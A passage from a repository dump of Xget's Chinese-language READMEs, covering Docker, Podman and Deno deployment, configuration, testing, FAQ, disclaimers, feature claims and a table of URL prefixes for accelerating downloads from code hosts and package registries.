Default branch\n   - 将默认分支从 `main` 切换到 `functions`\n\n3. **部署到 Deno Deploy**：\n   - 参考\n     [Deno Deploy 官方文档](https://docs.deno.com/deploy/getting_started/)执行部署\n   - 在 Deno Deploy 控制台创建新项目并连接你的 GitHub 存储库\n\n4. **绑定自定义域名**（可选）：在 Deno Deploy 控制台中绑定你的自定义域名\n\n**注意**：`functions` 分支是从 `main` 分支自动生成的。请勿手动编辑 `functions`\n分支，因为它会被同步工作流覆盖。\n\n### 自托管部署\n\n如果你希望在自己的服务器上运行 Xget，可以使用 Docker 或 Podman 部署：\n\n#### 使用预构建镜像\n\n从 GitHub Container Registry 拉取并运行预构建的镜像：\n\n**使用 Docker:**\n\n```bash\n# 拉取最新镜像\ndocker pull ghcr.io/xixu-me/xget:latest\n\n# 运行容器\ndocker run -d \\\n  --name xget \\\n  -p 8080:8080 \\\n  ghcr.io/xixu-me/xget:latest\n```\n\n**使用 Podman:**\n\n```bash\n# 拉取最新镜像\npodman pull ghcr.io/xixu-me/xget:latest\n\n# 运行容器\npodman run -d \\\n  --name xget \\\n  -p 8080:8080 \\\n  ghcr.io/xixu-me/xget:latest\n```\n\n#### 本地构建\n\n从源码构建容器镜像：\n\n**使用 Docker:**\n\n```bash\n# 克隆存储库\ngit clone https://github.com/xixu-me/Xget.git\ncd Xget\n\n# 构建镜像\ndocker build -t xget:local .\n\n# 运行容器\ndocker run -d \\\n  --name xget \\\n  -p 8080:8080 \\\n  xget:local\n```\n\n**使用 Podman:**\n\n```bash\n# 克隆存储库\ngit clone https://github.com/xixu-me/Xget.git\ncd Xget\n\n# 构建镜像\npodman build -t xget:local .\n\n# 运行容器\npodman run -d \\\n  --name xget \\\n  -p 8080:8080 \\\n  xget:local\n```\n\n#### 使用 Docker Compose / Podman Compose\n\n创建 `docker-compose.yml` 文件：\n\n```yaml\nversion: '3.8'\n\nservices:\n  xget:\n    image: ghcr.io/xixu-me/xget:latest\n    container_name: xget\n    ports:\n      - '8080:8080'\n    restart: unless-stopped\n```\n\n**使用 Docker Compose:**\n\n```bash\ndocker compose up -d\n```\n\n**使用 Podman Compose:**\n\n```bash\npodman compose up -d\n```\n\n部署完成后，Xget 将在 8080 端口运行。\n\n如果你希望在 DigitalOcean 上部署和运行 Xget，可以参考文档[《Deploying and Optimizing Xget on DigitalOcean》](docs/deploy-on-digitalocean.md)。通过下方推荐链接注册账户，可获得 200 美元代金券积分，可用于创建 Droplet、Kubernetes、App\nPlatform 等资源：\n\n<p>\n  <a href=\"https://m.do.co/c/7efe110ca23f\">\n    <img src=\"https://opensource.nyc3.cdn.digitaloceanspaces.com/attribution/assets/PoweredByDO/DO_Powered_by_Badge_blue.svg\" width=\"201px\">\n  </a>\n</p>\n\n**注意**：自托管部署不包括全球边缘网络加速，性能取决于你的服务器配置和网络环境。\n\n## 🔧 配置\n\n### 配置参数\n\n你可以通过修改 `src/config/index.js` 来自定义配置：\n\n```javascript\nexport const CONFIG = {\n  TIMEOUT_SECONDS: 30, // 请求超时时间（秒）\n  MAX_RETRIES: 3, // 最大重试次数\n  RETRY_DELAY_MS: 1000, // 重试延迟时间（毫秒）\n  CACHE_DURATION: 1800, // 缓存持续时间（1800秒 = 30分钟）\n  SECURITY: {\n    ALLOWED_METHODS: ['GET', 'HEAD'], // 常规请求的基础允许列表；协议流量内置了更宽的允许范围\n    ALLOWED_ORIGINS: ['*'], // 允许的 CORS 源\n    MAX_PATH_LENGTH: 2048 // 最大路径长度（字符）\n  }\n};\n```\n\n### 性能调优建议\n\n- **缓存优化**：根据使用模式调整 `CACHE_DURATION`，频繁更新的存储库可适当降低\n- **超时设置**：网络条件较差时可适当增加 `TIMEOUT_SECONDS`\n- **重试策略**：高延迟环境下可增加 `MAX_RETRIES` 和 `RETRY_DELAY_MS`\n\n### 添加新平台\n\n要添加对新平台的支持，请更新平台目录；如果需要特殊路径转换，再补充转换器：\n\n```javascript\n// src/config/platform-catalog.js\nexport const PLATFORM_CATALOG = {\n  // 现有平台...\n  custom: 'https://example.com'\n};\n\n// src/routing/platform-transformers.js\nconst PLATFORM_PATH_TRANSFORMERS = {\n  custom: path => path.replace(/^\\/custom\\//, '/')\n};\n```\n\n## 🚧 开发\n\n1. **存储库设置**\n\n   ```bash\n   git clone https://github.com/xixu-me/Xget.git\n   cd Xget\n   npm install\n   npx wrangler login  # 首次使用\n   ```\n\n2. **本地开发**\n\n   ```bash\n   npm run dev              # 启动开发服务器 (http://localhost:8787)\n   npm run test:run         # 运行完整测试套件\n   npm run test:coverage    # 生成测试覆盖率报告\n   npm run lint             # 代码检查\n   npm run format           # 代码格式化\n   npm run deploy           # 部署到生产\n   ```\n\n## 🧪 测试\n\n存储库包含完整的测试套件，确保代码质量和功能正确性。\n\n### 完整测试\n\n```bash\n# 安装测试依赖\nnpm install\n\n# 运行所有测试\nnpm run test:run\n\n# 生成覆盖率报告\nnpm run test:coverage\n\n# 监视模式\nnpm run test:watch\n```\n\n### 测试覆盖\n\n- **单元测试**: 核心功能、平台配置、性能监控\n- **集成测试**: 端到端流程、平台集成、Git 协议\n- **安全测试**: 输入验证、安全头、权限控制\n- **性能测试**: 响应时间、内存使用、并发处理\n\n## 🔍 故障排除\n\n### 常见问题\n\n**Q: 下载速度没有明显提升？**\nA: 检查源文件是否已经在 CDN 边缘节点缓存，首次访问可能较慢，后续访问会显著提升。\n\n**Q: Git 操作失败？**\nA: 确认使用了正确的 URL 格式，且 Git 客户端版本支持 HTTPS 代理。\n\n**Q: 部署后无法访问？** A: 检查 Cloudflare Workers 域名是否正确绑定，确认\n`wrangler.toml` 配置正确。\n\n**Q: 出现 400 错误？** A: 检查 URL 路径格式，确认平台前缀正确使用。\n\n### 性能监控\n\n在响应头中返回性能指标：\n\n- `X-Performance-Metrics`: 包含请求各阶段的耗时统计\n- `X-Cache-Status`: 显示缓存命中状态\n\n### 日志调试\n\n在开发环境中，你可以通过 Cloudflare Workers 控制台查看详细日志：\n\n```bash\nnpx wrangler dev --log-level debug\n```\n\n## ⚠️ 免责声明\n\n- **合法合规使用**：本存储库旨在为代码存储库、软件包注册表、AI 推理 API、容器镜像、模型、数据集及更多合法开发者资源提供统一加速服务。使用者应严格遵守所在司法辖区法律法规及相关平台服务条款，任何非法用途的法律责任由使用者自行承担\n- **非关联性与独立责任**：本存储库与各第三方平台不存在任何隶属、代理或合作关系。任何基于本存储库的 fork、二次开发、再分发或衍生版本均由其维护者独立承担全部责任；作者、维护者及贡献者不对衍生存储库的任何行为或后果承担法律或连带责任\n- **无担保与免责条款**：在适用法律允许的最大范围内，本存储库按“现状（AS\n  IS）”提供，不提供任何明示或暗示担保（包括但不限于适销性、特定用途适用性、非侵权等）。对因使用本存储库而造成的任何直接或间接损失（包括但不限于数据丢失、业务中断、利润损失等），作者、维护者及贡献者不承担任何责任\n- **风险自担原则**：使用者应自行评估使用风险，确保其使用行为合法合规，不侵犯第三方权益，不得将本存储库用于任何违法、侵权、恶意或不当用途\n- **第三方平台合规**：使用者应遵守相关平台的服务条款、API 使用政策、速率限制及版权要求，避免对源平台造成过载或干扰。各平台对其内容、服务及政策拥有最终解释权\n- **知识产权保护**：通过本存储库获取的内容受相应版权法保护。使用者应遵守相关许可协议、版权声明及使用条款，不得从事任何侵犯知识产权的行为\n- **安全防护建议**：虽然本存储库采用无日志架构，不存储用户请求数据，但基于互联网传输的固有风险，建议使用者对下载内容进行安全扫描，尤其对可执行文件、脚本等保持谨慎\n- **开源性质声明**：本存储库为开源项目，作者与贡献者不承担提供技术支持、错误修复或持续维护的义务。外部贡献的合并不代表对特定用途或效果的承诺与背书\n- **名称使用规范**：严禁任何可能暗示作者或贡献者提供商业合作、技术支持、担保或背书的表述。涉及存储库名称或作者标识的使用应遵循相关法律法规及通用规范\n- **免责声明更新**：本免责声明可能随存储库发展或法律环境变化进行更新修订。使用者继续使用、复制、分发或修改本存储库即视为接受最新版本的免责声明\n\n## 🤝 贡献\n\n我们欢迎各种形式的贡献！请查看[贡献指南](CONTRIBUTING.md)了解如何参与存储库开发。\n\n1. **报告问题**: 使用\n   [issue 模板](https://github.com/xixu-me/Xget/issues/new/choose)报告 bug 或提出功能请求\n2. **提交代码**: fork 存储库，创建功能分支，提交 pull request\n3. **改进文档**: 修正错误、添加示例、完善说明\n4. **测试反馈**: 在不同环境下测试并提供反馈\n\n## 🌟 Star 历史\n\n<a href=\"https://www.star-history.com/#xixu-me/Xget&Date\">\n <picture>\n   <source media=\"(prefers-color-scheme: dark)\" srcset=\"https://api.star-history.com/svg?repos=xixu-me/Xget&type=Date&theme=dark\" />\n   <source media=\"(prefers-color-scheme: light)\" srcset=\"https://api.star-history.com/svg?repos=xixu-me/Xget&type=Date\" />\n   <img alt=\"Star History Chart\" src=\"https://api.star-history.com/svg?repos=xixu-me/Xget&type=Date\" />\n </picture>\n</a>\n\n## 📝 许可证\n\n版权所有 &copy; Xi Xu。\n\n本存储库采用 AGPL-3.0 许可证 - 查看 [LICENSE](LICENSE) 文件了解详情。\n\n---\n\n<div align=\"center\">\n\n**如果这个存储库对您有帮助，请考虑给它一个 ⭐ star！**\n\nMade with ❤️ by [Xi Xu](https://xi-xu.me)\n\n</div>\n"
  },
  {
    "path": "README.zh-Hant.md",
    "content": "<div align=\"center\">\n\n# Xget 🚀\n\n<a href=\"https://trendshift.io/repositories/14768\" target=\"_blank\"><img src=\"https://trendshift.io/api/badge/repositories/14768\" alt=\"xixu-me%2FXget | Trendshift\" width=\"250\" height=\"55\"/></a>\n\n[![Ask Zread](https://img.shields.io/badge/Ask_Zread-_.svg?style=flat&color=00b0aa&labelColor=000000&logo=data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZD0iTTQuOTYxNTYgMS42MDAxSDIuMjQxNTZDMS44ODgxIDEuNjAwMSAxLjYwMTU2IDEuODg2NjQgMS42MDE1NiAyLjI0MDFWNC45NjAxQzEuNjAxNTYgNS4zMTM1NiAxLjg4ODEgNS42MDAxIDIuMjQxNTYgNS42MDAxSDQuOTYxNTZDNS4zMTUwMiA1LjYwMDEgNS42MDE1NiA1LjMxMzU2IDUuNjAxNTYgNC45NjAxVjIuMjQwMUM1LjYwMTU2IDEuODg2NjQgNS4zMTUwMiAxLjYwMDEgNC45NjE1NiAxLjYwMDFaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik00Ljk2MTU2IDEwLjM5OTlIMi4yNDE1NkMxLjg4ODEgMTAuMzk5OSAxLjYwMTU2IDEwLjY4NjQgMS42MDE1NiAxMS4wMzk5VjEzLjc1OTlDMS42MDE1NiAxNC4xMTM0IDEuODg4MSAxNC4zOTk5IDIuMjQxNTYgMTQuMzk5OUg0Ljk2MTU2QzUuMzE1MDIgMTQuMzk5OSA1LjYwMTU2IDE0LjExMzQgNS42MDE1NiAxMy43NTk5VjExLjAzOTlDNS42MDE1NiAxMC42ODY0IDUuMzE1MDIgMTAuMzk5OSA0Ljk2MTU2IDEwLjM5OTlaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik0xMy43NTg0IDEuNjAwMUgxMS4wMzg0QzEwLjY4NSAxLjYwMDEgMTAuMzk4NCAxLjg4NjY0IDEwLjM5ODQgMi4yNDAxVjQuOTYwMUMxMC4zOTg0IDUuMzEzNTYgMTAuNjg1IDUuNjAwMSAxMS4wMzg0IDUuNjAwMUgxMy43NTg0QzE0LjExMTkgNS42MDAxIDE0LjM5ODQgNS4zMTM1NiAxNC4zOTg0IDQuOTYwMVYyLjI0MDFDMTQuMzk4NCAxLjg4NjY0IDE0LjExMTkgMS42MDAxIDEzLjc1ODQgMS42MDAxWiIgZmlsbD0iI2ZmZiIvPgo8cGF0aCBkPSJNNCAxMkwxMiA0TDQgMTJaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik00IDEyTDEyIDQiIHN0cm9rZT0iI2ZmZiIgc3Ryb2tlLXdpZHRoPSIxLjUiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIvPgo8L3N2Zz4K&logoColor=ffffff)](https://zread.ai/xixu-me/Xget)\n[![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/xixu-me/Xget)\n[![codecov](https://codecov.io/github/xixu-me/xget/graph/badge.svg?token=KDFMG9YX8G)](https://codecov.io/github/xixu-me/xget)\n[![Chromium](https://img.shields.io/badge/Chromium-4285F4?logo=googlechrome&logoColor=white)](#-生態系統整合)\n[![Firefox](https://img.shields.io/badge/Firefox-FF7139?logo=Firefox&logoColor=white)](#-生態系統整合)\n\n[![Cloudflare](https://img.shields.io/badge/Cloudflare-F38020?&logo=cloudflare&logoColor=white)](#部署到-cloudflare-workers)\n[![EdgeOne](https://img.shields.io/badge/EdgeOne-006EFF?&logo=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABwAAAAcCAYAAAByDd+UAAACNklEQVR4nJ1W7XHbMAx96ul/lQnCDapOUG3gdIIkG6QjdINOUGeDNhNYmUDuBHIWiNQF/PqDYAxDoMUGdzx+AXgAAQGqSKKAOgAbma8BXMn5DGAv4wlAv6qJ5KVxR3LkOR3NWu9HkcnqzF0EkoMDcsysLd8oOooAb0lOF7wqpYnkzRrgZkVJ8mp0jLFzotscYOC6ZyNjjLbOnTZI7weSjQc4ZoQmkjuSneIdMoADyR9iVKuB0qglWYOT0n9Uys/qPAD4ZHgfAXwzfO/6LLyxcTxbJEdufFi1aEk32l6Z+1Lhep1lQa1aVwI2O3wBsTIFxOoUADzVspgzQp6S1pztATRyvpG5lTNLTUVykssJwF91OQP4bATuAGzVngBexJD0vJW51/u5VpZc4VSUgViMLX1xlIUCoERNLoYE8Ns579S6chTngGYZh1oWjRGoEGOjKSAGP/HovqblDoiJtAfwLPv5xHnqCrbNeK3K8qX9juQDMx3CVpoesXLop7DeATF+2rsKsbo8oizD3zzsjLWk30RHw7N7R5V68/AgMUpeWg9bLLOxL/AniOw1Yp58t/FZi5+mzuFrJJY/Sb6qFzmmV9PMgzBsHUW/eN5gJwdk54Rm4YTXgHPx00p24qEGydFElb3e09nUbpXVuZ+oS/88Z62rJLMelHAJSDqf6LxWSXvS35/+Vr0SlqrPHsBXxOw/o5IGHDLKE4AucS8A7hG7zAIMACryv371WxkfxYhZFD8jFvt+TdE/deK28xBAUlEAAAAASUVORK5CYII=)](#部署到-edgeone-pages)\n[![Vercel](https://img.shields.io/badge/Vercel-000000?&logo=vercel&logoColor=white)](#部署到-vercel)\n[![Netlify](https://img.shields.io/badge/Netlify-00C7B7?&logo=netlify&logoColor=white)](#部署到-netlify)\n[![Deno](https://img.shields.io/badge/Deno-000000?&logo=deno&logoColor=white)](#部署到-deno-deploy)\n[![Docker](https://img.shields.io/badge/Docker-2496ED?&logo=docker&logoColor=white)](#自託管部署)\n[![Podman](https://img.shields.io/badge/Podman-892CA0?&logo=podman&logoColor=white)](#自託管部署)\n\n[English](README.md) | [汉语（简体）](README.zh-Hans.md) | **漢語（繁體）**\n\n</div>\n\n[![GitHub](https://img.shields.io/badge/GitHub-181717?&logo=github&logoColor=white)](#github)\n[![GitLab](https://img.shields.io/badge/GitLab-FC6D26?&logo=gitlab&logoColor=white)](#gitlab)\n[![Gitea](https://img.shields.io/badge/Gitea-609926?&logo=gitea&logoColor=white)](#gitea)\n[![Codeberg](https://img.shields.io/badge/Codeberg-2185D0?&logo=codeberg&logoColor=white)](#codeberg)\n[![SourceForge](https://img.shields.io/badge/SourceForge-FF6600?&logo=sourceforge&logoColor=white)](#sourceforge)\n[![AOSP](https://img.shields.io/badge/AOSP-3DDC84?&logo=android&logoColor=white)](#aosp-android-開源專案)\n[![Hugging Face](https://img.shields.io/badge/Hugging%20Face-FFD21E?&logo=huggingface&logoColor=black)](#hugging-face-鏡像)\n[![Civitai](https://img.shields.io/badge/Civitai-1971C2)](#civitai-ai-模型平台)\n[![npm](https://img.shields.io/badge/npm-CB3837?logo=npm&logoColor=white)](#npm-軟體包管理加速)\n[![PyPI](https://img.shields.io/badge/PyPI-3775A9?logo=pypi&logoColor=white)](#python-軟體包管理加速)\n[![conda](https://img.shields.io/badge/conda-44A833?logo=anaconda&logoColor=white)](#conda-軟體包管理加速)\n[![Maven](https://img.shields.io/badge/Maven-C71A36?logo=apachemaven&logoColor=white)](#maven-軟體包管理加速)\n[![Apache](https://img.shields.io/badge/Apache-D22128?logo=apache&logoColor=white)](#apache-軟體下載加速)\n[![Gradle](https://img.shields.io/badge/Gradle-02303A?logo=gradle&logoColor=white)](#gradle-軟體包管理加速)\n[![Homebrew](https://img.shields.io/badge/Homebrew-FBB040?logo=homebrew&logoColor=black)](#homebrew-軟體包管理加速)\n[![RubyGems](https://img.shields.io/badge/RubyGems-E9573F?logo=rubygems&logoColor=white)](#ruby-軟體包管理加速)\n[![CRAN](https://img.shields.io/badge/CRAN-276DC3?logo=r&logoColor=white)](#r-軟體包管理加速)\n[![CPAN](https://img.shields.io/badge/CPAN-0073A1?logo=perl&logoColor=white)](#perl-軟體包管理加速)\n[![CTAN](https://img.shields.io/badge/CTAN-008080?logo=latex&logoColor=white)](#texlatex-軟體包管理加速)\n[![Go](https://img.shields.io/badge/Go-00ADD8?logo=go&logoColor=white)](#go-模組加速)\n[![NuGet](https://img.shields.io/badge/NuGet-004880?logo=nuget&logoColor=white)](#nuget-軟體包管理加速)\n[![Rust](https://img.shields.io/badge/Rust-000000?logo=rust&logoColor=white)](#rust-軟體包管理加速)\n[![Packagist](https://img.shields.io/badge/Packagist-F28D1A?logo=packagist&logoColor=white)](#php-軟體包管理加速)\n[![Flathub](https://img.shields.io/badge/Flathub-000000?logo=flathub&logoColor=white)](#flathub-儲存庫鏡像)\n[![Debian](https://img.shields.io/badge/Debian-A81D33?logo=debian&logoColor=white)](#debianubuntu-apt-配置)\n[![Ubuntu](https://img.shields.io/badge/Ubuntu-E95420?logo=ubuntu&logoColor=white)](#debianubuntu-apt-配置)\n[![Fedora](https://img.shields.io/badge/Fedora-51A2DA?logo=fedora&logoColor=white)](#fedora-dnf-配置)\n[![Rocky Linux](https://img.shields.io/badge/Rocky%20Linux-10B981?logo=rockylinux&logoColor=white)](#rocky-linux-dnf-配置)\n[![openSUSE](https://img.shields.io/badge/openSUSE-73BA25?logo=opensuse&logoColor=white)](#opensuse-zypper-配置)\n[![Arch Linux](https://img.shields.io/badge/Arch%20Linux-1793D1?logo=archlinux&logoColor=white)](#arch-linux-pacman-配置)\n[![arXiv](https://img.shields.io/badge/arXiv-B31B1B?logo=arxiv&logoColor=white)](#arxiv-論文下載)\n[![F-Droid](https://img.shields.io/badge/F--Droid-1976D2?logo=f-droid&logoColor=white)](#f-droid-儲存庫鏡像)\n[![Jenkins](https://img.shields.io/badge/Jenkins-D24939?logo=jenkins&logoColor=white)](#jenkins-外掛程式下載)\n[![容器註冊表](https://img.shields.io/badge/容器註冊表-262261?logo=opencontainersinitiative&logoColor=white)](#容器註冊表)\n[![AI 推理供應商](https://img.shields.io/badge/AI%20推理供應商-94A3B8?logo=openrouter&logoColor=white)](#ai-推理供應商)\n\n面向開發者資源的超高效能、安全、一體化加速引擎，其效能顯著優於傳統解決方案，為程式碼儲存庫、模型和資料集中心、軟體包註冊表、容器註冊表、AI 推理供應商等提供統一、高效的加速。\n\n技術深度解析文章已發布：**[《深入剖析 Xget：一個高效能、多協定、高安全性的開發者資源加速引擎》](https://blog.xi-xu.me/en/2025/10/07/Deep-Dive-into-Xget.html)**。\n\nXget 已受邀入駐\n[GitCode 平台](https://gitcode.com/xixu-me/xget)，並被認證為 G-Star 畢業專案；同時也獲得多位技術博主自發推薦，包括[阮一峰](https://www.ruanyifeng.com/blog/2025/12/weekly-issue-379.html#:~:text=Xget)、[GitHubDaily](https://x.com/i/status/1956204203937829256)、[魚 C](https://www.bilibili.com/video/BV1EeeBzVEop/)、[玄離 199](https://www.bilibili.com/video/BV197hqzsE8Y/?t=8)\n等。在此感謝 GitCode 的肯定，也感謝每一位分享、推薦與實際使用 Xget 的朋友。\n\n## 🎯 快速開始\n\n**預部署實例（不保證可靠性）：`xget.xi-xu.me`**\n\n**URL 轉換器：**[**`xuc.xi-xu.me`**](https://xuc.xi-xu.me) - 一鍵轉換任意支援平台的 URL 為 Xget 的加速格式\n\n**Agent Skills：**[**`skills/xget/`**](skills/xget/) - 可作為獨立的 `/xget`\n目錄直接安裝到 skills 目錄中\n\n## 🌟 核心優勢 - 為什麼選擇 Xget？\n\n### ⚡ 極速效能 - 突破傳統加速器瓶頸\n\n- **⚡ 毫秒級回應**：Cloudflare 全球 330+ 邊緣節點，平均回應時間 < 50ms\n- **🌐\n  HTTP/3 極速協定**：啟用最新 HTTP/3 協定，連線延遲降低 40%，傳輸速度提升 30%\n- **📦 智慧多重壓縮**：gzip、deflate、brotli 三重壓縮演算法，傳輸效率提升 60%\n- **🔗 零延遲預連線**：連線預熱和保持活躍，消除握手開銷，實現秒級回應\n- **⚡ 平行分片下載**：完整支援 HTTP Range 請求，多執行緒下載速度倍增\n- **🎯 智慧路由最佳化**：自動選擇最佳傳輸路徑，避開網路壅塞節點\n\n### 🌐 多平台深度整合\n\n- **一站式多平台支援**：統一支援各種開發場景中的主流平台\n- **智慧識別與轉換**：自動識別平台前綴並轉換為目標平台的正確 URL 結構\n- **一致的加速體驗**：無論檔案類型或來源，均可享受統一且穩定的極速下載體驗\n\n### 🔒 企業級安全保障\n\n- **多層安全標頭**：\n  - `Strict-Transport-Security`：強制 HTTPS 傳輸，預防中間人攻擊\n  - `X-Frame-Options: DENY`：防止點擊劫持攻擊\n  - `X-XSS-Protection`：內建 XSS 防護機制\n  - `Content-Security-Policy`：嚴格的內容安全策略\n  - `Referrer-Policy`：控制參照來源資訊洩露\n- **請求驗證機制**：\n  - HTTP 方法白名單：常規請求限制為 GET/HEAD，而 Git/LFS、容器映像倉庫、AI 推理與 Hugging\n    Face API 請求會按需允許 `POST`、`PUT`、`PATCH` 和 `DELETE`\n  - 路徑長度限制：防止超長 URL 攻擊（最大 2048 字元）\n  - 輸入清理：防止路徑遍歷和注入攻擊\n- **逾時保護**：30 秒請求逾時，防止資源耗盡和惡意請求\n\n### 🚀 現代架構與可靠性\n\n- **智慧重試機制**：\n  - 最大 3 次重試，線性延遲策略（1000ms × 重試次數）\n  - 自動錯誤恢復，提高下載成功率\n  - 逾時檢測和中斷處理\n- **高效快取策略**：\n  - 1800 秒（30 分鐘）預設快取時長，顯著減少原始伺服器壓力\n  - Git 操作跳過快取，確保即時性\n  - 基於 Cloudflare Cache API 的邊緣快取\n- **效能監控系統**：\n  - 內建 `PerformanceMonitor` 類別，即時追蹤請求各階段耗時\n  - 透過 `X-Performance-Metrics` 回應標頭提供詳細效能數據\n  - 支援快取命中率統計和最佳化建議\n\n### 🎯 Git 協定完全相容\n\n- **智慧協定檢測**：\n  - 自動識別 Git 特定端點（`/info/refs`、`/git-upload-pack`、`/git-receive-pack`）\n  - 檢測 Git 用戶端 User-Agent 模式\n  - 支援 `service=git-upload-pack` 等查詢參數\n- **完整操作支援**：\n  - `git clone`：完整儲存庫克隆，支援淺克隆和分支指定\n  - `git push`：程式碼推送和分支管理\n  - `git pull/fetch`：增量更新和遠端同步\n  - `git submodule`：子模組遞迴克隆\n- **協定最佳化**：\n  - 保持 Git 專用請求標頭和驗證資訊\n  - 智慧 User-Agent 處理（預設 `git/2.34.1`）\n  - 支援 Git LFS 大檔案傳輸\n\n### 📱 生態系統整合\n\n- **專用瀏覽器擴充功能**：[Xget Now](https://github.com/xixu-me/Xget-Now)\n  提供無縫體驗\n  - 自動 URL 轉址，無需手動修改 URL\n  - 支援自訂 Xget 實例網域\n  - 多平台偏好設定和黑白名單管理\n  - 本地處理，確保隱私安全\n- **下載工具相容性**：完美支援 wget、cURL、aria2、IDM 等主流下載工具\n- **CI/CD 整合**：可直接在 GitHub Actions、GitLab CI 等環境中使用\n\n## 🏗️ 系統架構\n\n### 請求處理流程\n\n```mermaid\ngraph TD\n    Request[使用者請求 / User-Agent] --> Identify{識別平台}\n    Identify -->|無效| Error[返回錯誤]\n    Identify -->|有效| Transform[轉換路徑]\n\n    Transform --> CheckProtocol{檢查協定}\n\n    CheckProtocol -->|Git| GitHandler[Git 協定適配器]\n    CheckProtocol -->|Docker| DockerHandler[Docker 協定適配器]\n    CheckProtocol -->|AI| AIHandler[AI 推理適配器]\n    CheckProtocol -->|標準| StdHandler[標準適配器]\n\n    GitHandler --> Upstream[獲取上游]\n    DockerHandler --> Upstream\n    AIHandler --> Upstream\n\n    StdHandler --> CacheCheck{檢查快取}\n    CacheCheck -->|命中| ReturnCache[返回快取回應]\n    CacheCheck -->|未命中| Upstream\n\n    Upstream -->|成功| ProcessResponse[處理回應]\n    Upstream -->|失敗| Retry{重試?}\n\n    Retry -->|是| Wait[\"等待 (退避)\"] --> Upstream\n    Retry -->|否| Error\n\n    ProcessResponse --> Finalize[添加標頭並返回]\n    Finalize --> Response[回應]\n```\n\n### 組件架構\n\n```mermaid\nclassDiagram\n    class Worker {\n        +fetch(request)\n    }\n    class AppHandler {\n        +handleRequest(request, env, ctx)\n    }\n    class PlatformCatalog {\n        +PLATFORM_CATALOG\n    }\n    class PlatformRouting {\n        +transformPath()\n        +resolveTarget()\n    }\n    class Validation {\n        +validateRequest()\n        +isDockerRequest()\n    }\n    class GitProtocol {\n        +configureGitHeaders()\n        +isGitRequest()\n    }\n    class DockerProtocol {\n        +handleDockerAuth()\n        +fetchToken()\n    }\n    class AIProtocol {\n        +configureAIHeaders()\n    }\n    class UpstreamPipeline {\n        +tryReadCachedResponse()\n        +fetchUpstreamResponse()\n    }\n    class ResponsePipeline {\n        +finalizeResponse()\n    }\n    class Security {\n        +addSecurityHeaders()\n    }\n    class Performance {\n        +monitor()\n    }\n\n    Worker --> AppHandler\n    AppHandler --> PlatformCatalog\n    AppHandler --> PlatformRouting\n    AppHandler --> Validation\n    AppHandler --> GitProtocol\n    AppHandler --> DockerProtocol\n    AppHandler --> AIProtocol\n    AppHandler --> UpstreamPipeline\n    AppHandler --> ResponsePipeline\n    AppHandler --> Security\n    AppHandler --> Performance\n    PlatformRouting --> PlatformCatalog\n```\n\n## 📖 URL 轉換規則\n\n使用預部署實例 **`xget.xi-xu.me`**\n或您自己部署的實例，只需簡單替換網域並新增平台前綴：\n\n### 轉換格式\n\n| 平台             | 平台前綴    | 原始 URL 格式                                                       | 加速 URL 格式                                                                    |\n| ---------------- | ----------- | ------------------------------------------------------------------- | -------------------------------------------------------------------------------- |\n| GitHub           | `gh`        | `https://github.com/...`                                            | `https://xget.xi-xu.me/gh/...`                                                   |\n| GitHub Gist      | `gist`      | `https://gist.github.com/...`                                       | `https://xget.xi-xu.me/gist/...`                                                 |\n| GitLab           | `gl`        | `https://gitlab.com/...`                                            | `https://xget.xi-xu.me/gl/...`                                                   |\n| Gitea            | `gitea`     | `https://gitea.com/...`                                             | `https://xget.xi-xu.me/gitea/...`                                                |\n| Codeberg         | `codeberg`  | `https://codeberg.org/...`                                          | `https://xget.xi-xu.me/codeberg/...`                                             |\n| SourceForge      | `sf`        | `https://sourceforge.net/...`                                       | `https://xget.xi-xu.me/sf/...`                                                   |\n| AOSP             | `aosp`      | `https://android.googlesource.com/...`                              | `https://xget.xi-xu.me/aosp/...`                                                 |\n| Hugging Face     | `hf`        | `https://huggingface.co/...`                                        | `https://xget.xi-xu.me/hf/...`                                                   |\n| Civitai          | `civitai`   | `https://civitai.com/...`                                           | `https://xget.xi-xu.me/civitai/...`                                              |\n| npm              | `npm`       | `https://registry.npmjs.org/...`                                    | `https://xget.xi-xu.me/npm/...`                                                  |\n| PyPI             | `pypi`      | `https://pypi.org/...`                                              | `https://xget.xi-xu.me/pypi/...`                                                 |\n| conda            | `conda`     | `https://repo.anaconda.com/...` 和 `https://conda.anaconda.org/...` | `https://xget.xi-xu.me/conda/...` 和 `https://xget.xi-xu.me/conda/community/...` |\n| Maven            | `maven`     | `https://repo1.maven.org/...`                                       | `https://xget.xi-xu.me/maven/...`                                                |\n| Apache           | `apache`    | `https://downloads.apache.org/...`                                  | `https://xget.xi-xu.me/apache/...`                                               |\n| Gradle           | `gradle`    | `https://plugins.gradle.org/...`                                    | `https://xget.xi-xu.me/gradle/...`                                               |\n| Homebrew         | `homebrew`  | `https://github.com/Homebrew/...`                                   | `https://xget.xi-xu.me/homebrew/...`                                             |\n| RubyGems         | `rubygems`  | `https://rubygems.org/...`                                          | `https://xget.xi-xu.me/rubygems/...`                                             |\n| CRAN             | `cran`      | `https://cran.r-project.org/...`                                    | `https://xget.xi-xu.me/cran/...`                                                 |\n| CPAN             | `cpan`      | `https://www.cpan.org/...`                                          | `https://xget.xi-xu.me/cpan/...`                                                 |\n| CTAN             | `ctan`      | `https://tug.ctan.org/...`                                          | `https://xget.xi-xu.me/ctan/...`                                                 |\n| Go 模組          | `golang`    | `https://proxy.golang.org/...`                                      | `https://xget.xi-xu.me/golang/...`                                               |\n| NuGet            | `nuget`     | `https://api.nuget.org/...`                                         | `https://xget.xi-xu.me/nuget/...`                                                |\n| Rust Crates      | `crates`    | `https://crates.io/...`                                             | `https://xget.xi-xu.me/crates/...`                                               |\n| Packagist        | `packagist` | `https://repo.packagist.org/...`                                    | `https://xget.xi-xu.me/packagist/...`                                            |\n| Flathub          | `flathub`   | `https://dl.flathub.org/...`                                        | `https://xget.xi-xu.me/flathub/...`                                              |\n| Debian           | `debian`    | `https://deb.debian.org/...`                                        | `https://xget.xi-xu.me/debian/...`                                               